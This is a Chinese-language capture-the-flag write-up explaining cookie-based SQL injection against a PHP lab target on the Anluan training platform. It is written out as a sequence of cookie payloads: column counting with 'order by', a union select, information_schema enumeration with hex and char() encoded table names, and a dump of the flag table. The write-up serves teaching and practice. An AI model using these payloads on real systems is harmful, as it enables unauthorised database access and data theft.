什么是cookie注入?

cookie注入的原理是:修改cookie的值进行注入

cookie注入其原理也和平时的注入一样,只不过注入参数换成了cookie

 

例如:PHP $_REQUEST 变量变量包含了 $_GET、$_POST 和 $_COOKIE 的内容

如果程序程序对$_GET和$_POST方式提交的数据进行了过滤,但未对$_COOKIE提交的数据库进行过滤,这时候我们就可以尝试COOKIE注入。

 

下面演示

安鸾渗透实战平台 

Cookie注入

题目URL:http://www.whalwl.host:8009/user.php?id=1

使用 burp suite 进行抓包,Repeater 进行改包。

安鸾CTF-cookies注入_php

 

 

 



GET /user.php HTTP/1.1
Host: www.whalwl.host:8009
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
cookie: id=1
Connection: close


 

加一个单引号报错,报错不显示:

安鸾CTF-cookies注入_数据库_02

 

 

 



cookie: id=1 order by 5 # 正常,
cookie: id=1 order by 6 # 错误


安鸾CTF-cookies注入_数据_03

 

 

字段为长度5



cookie: id=-1 union select 1,2,3,4,5 #


安鸾CTF-cookies注入_数据库_04

 

 

 



获取当前数据库所有的表名:
cookie: id=-1 UNION SELECT 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema=database()#


 

安鸾CTF-cookies注入_数据_05

 

 



获取 this_flag 表的字段 这三种方式都可以获取,看目标站情况 0x746869735f666c6167 是 this_flag 的ASCII HEX编码 

cookie: id=-1 UNION SELECT 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name='this_flag' #

cookie: id=-1 UNION SELECT 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name=0x746869735f666c6167 #

cookie: id=-1 UNION SELECT 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name=concat(char(116),char(104),char(105),char(115),char(95),char(102),char(108),char(97),char(103)) #


 

安鸾CTF-cookies注入_cookies注入_06

 



获取this_flag表内字段的数据
cookie: id=-1 UNION SELECT 1,group_concat(id,flag),3,4,5 from this_flag #


 安鸾CTF-cookies注入_数据库_07